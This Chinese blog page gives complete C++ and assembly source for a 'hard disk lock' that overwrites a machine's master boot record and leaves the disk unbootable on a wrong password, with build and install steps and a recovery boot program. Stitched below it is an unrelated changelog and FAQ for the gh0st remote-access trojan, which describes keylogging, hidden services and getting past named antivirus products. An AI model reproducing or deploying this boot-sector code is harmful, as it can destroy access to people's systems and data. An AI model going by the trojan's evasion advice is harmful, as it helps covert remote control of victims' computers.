硬盘锁程序源码

硬盘锁程序

      些硬盘锁程序有两部分组成:安装程序的install.exe和硬盘锁程序数据文件。这个程序是我改写了江民硬盘锁程序而得到的。由于此网页编排上有些问题,所以复制这上面的代码可能编释出错。所以你可以在我的网站上去下载:

http://www.fullpassion.cn/HDprogramming/hdlock.htm

 


 

Hdlock的安装程序:Install.cpp

#include <stdio.h>

#include <afxwin.h>

void main()

{

CFile PhysicalDriver0(".//PHYSICALDRIVE0", CFile::modeReadWrite);

CFile hdlock_dat("hdlock.dat", CFile::modeCreate | CFile::modeNoTruncate | CFile::modeReadWrite);

char buffer[512];

const char cycle_table[] = {0x00,0x00,0x01,0x00,0x05,0xFE,0x7F,0x05,0x3F,0x00,0x00,0x00,0x47,0x39,0x40,0x00};//write to 0x1BE

const char password[] = {0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64};//write to 0x1B0

int n = 0;

//将主引导扇区备份到(0,0,3)

PhysicalDriver0.SeekToBegin();

PhysicalDriver0.Read(buffer, 512);

for(int i = 0x1B0; i < 0x1B0 + 0x8; i++)

if(password[i - 0x1B0] == buffer[i])n++;

if(n == 8){printf("Hdlock have been installed!/n");return;}

//printf("%X/n", i - 0x1B0);

PhysicalDriver0.Seek(512 * 2, CFile::begin);

PhysicalDriver0.Write(buffer, 512);

 

intFileLength = hdlock_dat.GetLength();

hdlock_dat.Read(buffer, FileLength);

for(i = 0x1B0; i < 0x1B0 + 0x8; i++)

buffer[i] = password[i - 0x1B0];

//hdlock.dat + normal_table -> (0,0,2)

PhysicalDriver0.Seek(512 * 1, CFile::begin);

PhysicalDriver0.Write(buffer, 512);

//hdlock.dat + normal_table -> (0,0,1)

PhysicalDriver0.SeekToBegin();

PhysicalDriver0.Write(buffer, 512);

//hdlock.dat + cycle_table -> (0,0,4)

for(i = 0x1BE; i < 0x1BE + 0x10; i++)

buffer[i] = cycle_table[i - 0x1BE];

PhysicalDriver0.Seek(512 * 3, CFile::begin);

PhysicalDriver0.Write(buffer, 512);

}

    此程序用visual c++6.0进行编释(在“工程|设置|常规|Microsoft基础类”中选择“使用MFC作为静态链接库”)。得到Install.exe。


Hdlock的主程序:Hdlock.asm

 

.286

CODE     SEGMENT

       ASSUME CS:CODE,DS:CODE,ES:CODE

START:

       DB   256 DUP(0)

BEG:       PUSH      DS

       PUSH      ES

       MOV      CX, 0100H

       MOV      DI, 0600H

       MOV      AX, 0

       MOV      DS, AX

       MOV      ES, AX

       MOV      SI, 7C00H

       REPNZ   MOVSW

       MOV      AX, GAP+600H

       JMP AX

       PWBUFF DB   'PASSWORD', 0

;----------------------------------------

       GAP = $-BEG

       MOV      AX, 0600H

       MOV      BH, 0F0H

       MOV      CX, 0

       MOV      DX, 184FH

       INT 10H

       MOV      SI, PWBUFF-BEG+0600H

       MOV      DL, 1AH

SHPW:    MOV      DH, 10H

       MOV      AH, 2

       MOV      BH, 0

       INT 10H

       MOV      AL, [SI]

       CMP       AL, 0

       JZ    PWENTER

       MOV      AH, 9

       MOV      CX, 1

       MOV      BH, 0

       MOV      BL, 70H

       INT 10H

       INC DL

       INC SI

       JMP SHPW

PWENTER:MOV   CX, 4

       MOV      AX, 0

       MOV      ES, AX

       MOV      DI, 0801H

       REPZ      STOSW

       MOV      CX, 9

       MOV      DI, 0801H

       MOV      DL, 23H

KEYREAD:MOV    AH, 0

       INT 16H

       CMP       AL, 0DH

       JZ    CMPPW

       MOV      AH, 2

       MOV      DH, 10H

       MOV      BH, 0

       INT 10H

       CMP       AL, 8

       JZ    BACKSPACE

       PUSH      AX

       MOV      AH, 0EH

       MOV      AL, 2AH

       MOV      BL, 7

       INT 10H

 

       POP AX

 

       ADD       AL, 23H

       MOV      [DI], AL

       INC DI

       DEC       CX

       CMP       CX, 0

       JZ    OVERFLOW

       INC DL

       JMP KEYREAD

BACKSPACE:

       PUSH      CX

       MOV      AH, 3

       MOV      BH, 0

       INT 10H

       POP CX

       CMP       DL, 23H

       JZ    KEYREAD

       CMP       DI, 0800H

       JZ    KEYREAD

       MOV      AH, 2

       DEC       DL

       INT 10H

       PUSH      CX

       MOV      CX, 1

       MOV      AH, 9

       MOV      AL, 0

       MOV      BL, 7

       INT 10H

       POP CX

       MOV      AX, 0

       MOV      [DI], AX

       DEC       DI

       MOV      [DI], AX

       CMP       CX, 09H

       JE    AJUMP

       INC CX

AJUMP:  JMP KEYREAD

OVERFLOW:

       MOV      DH, 10H

       MOV      AH, 2

       MOV      DL, 23H

       MOV      BH, 0

       INT 10H

       MOV      AH, 9

       MOV      AL, 0

       MOV      BL, 7

       MOV      CX, 9

       INT 10H

       JMP PWENTER

CMPPW: MOV      AX, 0

       MOV      ES, AX

       MOV      DS, AX

       MOV      SI, 07B0H

       MOV      DI, 0801H

       MOV      CX, 4

       REPZ      CMPSW

       JZ    RIGHT

       JMP WRONG

RIGHT:   MOV      AX, 0

       MOV      ES, AX

       MOV      AX, 0201H

 

       MOV      CX, 0002H

 

       MOV      DX, 0080H

       MOV      BX, 0F000H

       INT 13H

       MOV      SI, 0F000H

       CALL      WRITE

       MOV      AX, 0000H

       MOV      ES, AX

       MOV      AX, 0201H

       MOV      CX, 0003H

       MOV      DX, 0080H

       MOV      BX, 7C00H

       INT 13H

       MOV      AX, 7C00H

       JMP AX

WRONG:       MOV      AX, 0000H

       MOV      ES, AX

       MOV      AX, 0201H

       MOV      CX, 0004H

       MOV      DX, 0080H

       MOV      BX, 0F000H

       INT 13H

       MOV      SI, 0F000H

       CALL      WRITE

       INT 13H

       INT 19H

WRITE   PROC

       MOV      DX, 1F6H

       MOV      AL, 0A0H

       OUT       DX, AL

 

       MOV      DX, 1F2H

       MOV      AL, 1

       OUT       DX, AL

 

       MOV      DX, 1F3H

       MOV      AL, 1

       OUT       DX, AL

 

       MOV      DX, 1F4H

       MOV      AL, 0

       OUT       DX, AL

 

       MOV      DX, 1F5H

       MOV      AL, 0

       OUT       DX, AL

 

       MOV      DX, 1F7H

       MOV      AL, 30H

       OUT       DX, AL

 

AAAA:    IN   AL, DX

       TEST      AL, 8

       JZ    AAAA

       MOV      CX, 256

       MOV      DX, 1F0H

       REP OUTSW

       RET

WRITE   ENDP

CODE     ENDS

       END       START

 

此程序用masm5.0和link5.0进行编释。得到hdlock.exe。


对于hdlock.exe我们还要进行一些处理,得到Install.cpp中的hdlock.dat文件。

打开winhex,用其打开hdlock.exe文件,如下图所示:

找到程序入口点,一般就在下面第一个不是零的数字处如下图所示:

选中入口点到下面的所有内容,然后右键“编辑|复制区块|到新建文件”,保存为hdlock.dat文件。

最后把Install.exe和hdlock.dat放在一起,运行Install.exe就可以安装硬盘锁了。重新启动电脑,机器自检完成后进入如下界面:

    输入密码正确,就可以进入操作系统了。否则机器无法进入操作系统。在一次输入密码错误后,即使用其它的启动盘进行启动,也无法启动。在其它的机器上挂上这个硬盘,那台机器也无法启动。因为硬盘分区表发生逻辑死锁。


    万一hdlock.asm编写不正确,安装之后,是很麻烦的一件事。因为硬盘无法修复。我在写这个程序的时候因为没有在虚拟机上安装,由于程序有错误,所以硬盘被死锁,让我苦恼的几天。最后我想出的一个好办法可以很容易恢复这个硬盘正常运行。就是编写引导程序来恢复主引导扇区。过程如下:

1.在安装此程序之前:先用winhex备份主引导扇区到5,6,7,8,9,10,11,12,13,14,15扇区(多备份几个以免发生万一)。
2.然后编写以下程序:

.286
CODE SEGMENT
 ASSUME CS:CODE, DS:CODE, ES:CODE
START:
 PUSH DS
 PUSH ES
 MOV CX, 0100H
 MOV DI, 0600H
 MOV AX, 0000H
 MOV DS, AX
 MOV ES, AX
 MOV SI, 7C00H
 REPNZ MOVSW
 MOV AX, 0600H+AAAAA-START
 JMP AX
AAAAA:
 MOV AX, 0201H
 MOV CX, 0008H  ;READ 8
 MOV DX, 0081H
 MOV BX, 0F000H
 INT 13H
 MOV AX, 0301H
 MOV CX, 0001H  ;WRITE 1
 MOV DX, 0081H
 MOV BX, 0F000H
 INT 13H
 INT 19H     ;RESTART
CODE ENDS
 END START


        此程序用masm5.0和link5.0编释。得到boost.exe。同样用上面的方法找到程序入口点,这次不是把数据复制到一个文件,而是一个U盘的主引导扇区中(注意,这块U盘里的数据一定是在你不需要的情况下才能这个做,除非你能恢复你覆盖的数据)。当你的硬盘锁有问题时,进入BIOS设置中,把第一启动盘设置为USB-HDD启动,保存设置。插上这块U盘,重新启动电脑。当BIOS询问是否修改MBR时,按Y键。然后重新启动电脑,把BIOS设置为第一启动盘从硬盘启动。保存设置。重新启动电脑时,你会发现硬盘锁不见了。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
注: 软件不断更新中,有什么意见大家多多提,偶看可以的就采纳.....gh0st的成长,离不开大家的帮助. 2008/1/27 11:16 : 优化了屏幕传输算法,CPU利用率更低 2008/1/27 16:06 : 驱动以资源方式写入安装文件跟DLL文件中,优化屏幕传输 2008/1/27 17:26 : 修正驱动安装时的一个Bug 2008/1/28 05:28 : 服务端安装强化,加入服务检测,守护线程强化,加入禁用监视,顺便做了下免杀 2008/1/29 12:47 : 改变服务端安装启动方式,隐藏服务,去掉驱动程序和守护线程,感谢Lzx无私的帮助... 2008/1/29 16:12 : 修正键盘记录重复问题,优化服务端上线方式 2008/1/30 04:11 : 修正服务端网络内核的一个导致异常的Bug,优化服务端大小到100K 2008/1/31 01:28 : 重写服务端网络内核,加入数据包验证,及重发功能,更加稳定 2008/1/31 11:36 : 修正服务端网络内核一个导致数据包混乱的问题,加入帧速限制,传输不稳定的情况从此消失... 2008/2/01 10:54 : 主动防御功能加强,过卡巴全监控,瑞星,Kis6,Kis7,Norton,ZoneAlarm,江民2008等杀毒软件.下个版本准备过所有杀软的主动...期待吧. 2008/2/01 14:18 : 加入服务端异常处理,更新稳定,请各位帮助测试.. 2008/2/01 15:39 : 修正服务端删除后不能安装的致命错误 2008/2/01 23:35 : 改写了下服务端一些函数,增加稳定性,春季过后重写服务端吧,简洁下程序. 2008/2/02 19:51 : 修正服务端视频监控功能的一些BUG 2008/2/03 00:40 : 屏幕监控加入显示远程鼠标功能 2008/2/05 16:46 : 重写屏幕传输算法,屏幕传输更快,控制更稳定.. 2008/2/05 23:45 : 还是网络内核跟屏幕传输方面,只求更快,不求最快,前版本屏幕传输有问题,旧版本不能上线,请用最新版本... 2008/2/06 17:32 : 服务端做了些优化,加入跟踪远程光标的功能,旧版本不能上线,请用最新版本 2008/2/07 00:57 : 改了些服务端,没事优化优化,准备过完年,大整一下,新年快乐... 2008/2/07 16:02 : 没事加了个托盘功能,做了些代码优化,一个人过年,有点郁闷... 2008/2/07 20:42 : 修正服务端一个句柄泄漏的问题.. 2008/2/08 22:08 : 全面优化了下服务端,新加了备注功能. 2008/2/09 22:58 : 修正一些大家提到的问题,Gh0st RAT Beta 2.1 发布 2008/2/11 00:18 : 修正服务端安装的一个BUG,静心研究ACE中,暂停更新................... 2008/2/17 16:14 : 保存配置文件,服务端支持socks5代理上线,加入下载更新功能,屏幕控制加入,黑屏,定等功能 2008/2/20 10:49 : 应大家要求,看了看江民2008的垃圾主动,连注册表都没,随便改了下服务端,过江民2008主动.其它有啥主动过不了的,抓图,我抽空解决 Gh0st问答: 2008/2/20 09:26 : 改了下服务端一些网络方面的东西,看对2003掉线情况是否有效,望大家测试,多谢了. 2008/2/21 15:43 : 服务端掉线问题,重启后不上线问题,测试版本,请大家测试 2008/2/22 19:47 : 解决重启后服务端不上线问题,加强对抗主动防御的功能 2008/2/23 17:11 : 全面优化了下服务端,加强稳定性,请大家测试 2008/2/23 19:03 : 修正视频监视的一个小BUG 2008/2/24 01:55 : 文件管理中加入本地和远程运行功能,优他了部分代码,旧版本不会上线,请用新版本 2008/2/24 12:56 : 修正文件管理中一个低级错误,下载更新的一个错误 2008/2/26 00:00 : 完美解决重复安装,重复上线问题,发布gh0st2.5,准备第二阶段的开发,重点在稳定,实用上.... 声明下软件的安装方式: 如果安装时发现有相同配置的服务端已经安装过,就不安装也不删除,跟鸽子一个原理,我是靠字串区别的 2008/3/2 06:35 : 本着我写gh0st的初衷,一个共享,免费,的软件,到今天为止,算是对大家一个交代,新版本开发中,此版本开源..装上VC6,打造属于你们自己的gh0st吧.. 本人不保留版权,任何信息,自由修改,多谢一直以来大家的支持,我会继续努力的 在此声明:此软件无作者,无版权,由此软件造成的任何不良后果与红狼无关,多谢!!!! 1:为什么服务端下线后,控制端没反应 答:控制端检测心跳包间隔为1分钟,过一分钟后,自然就下线了 2:下线后多长时间才能再上线 答:服务端断线重连间隔为1分钟 3:怎么找不到在哪控制屏幕,跟键盘的离线记录 答:在标题栏点右键,也就是系统菜单,就能看到 4:为什么有时会出现重复上线的问题 答:服务端发生异常,就会重新连接创建第二个连接,但是第一个连接已经断开了,控制端在其心跳超时的情况下,会删除 心跳超时为1分钟,也就是说,重复上线情况会持续一分钟,自然就没有了 5:有些大家提到的有些功能,为什么没有加上去 答:gh0st作者有自己的想法,自己的宗旨 6:提出建议或问题后多长时间能解决 答:偶以最快的速度,把gh0st做的专业,强大,稳定. 7: 如果做免杀??? 答:服务端用ResourceHacker或者别的资源提取工具打开,会看到两个资源,分别是DLL文件和恢复SSDT的驱动,开始动手吧.... 8:能不能加入系统服务管理的功能呢? 答:系统服务管理,注册表管理等这些,我感觉没必要加才不加的,服务管理sc就能搞定,注册表reg就搞定,服务端加这些函数,对免杀也有影响 9:希望能够加入服务端安装判断的功能,要不然连续运行两次,就上线两次。 答:现在服务端安装是共享模式,可以安装多个,上线多个,实际上不是重复上线,版本稳定后,服务端三种安装模式:独占模式,单一模式,共享模式,顾名思义的理解吧 10: ...虚位以待...

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值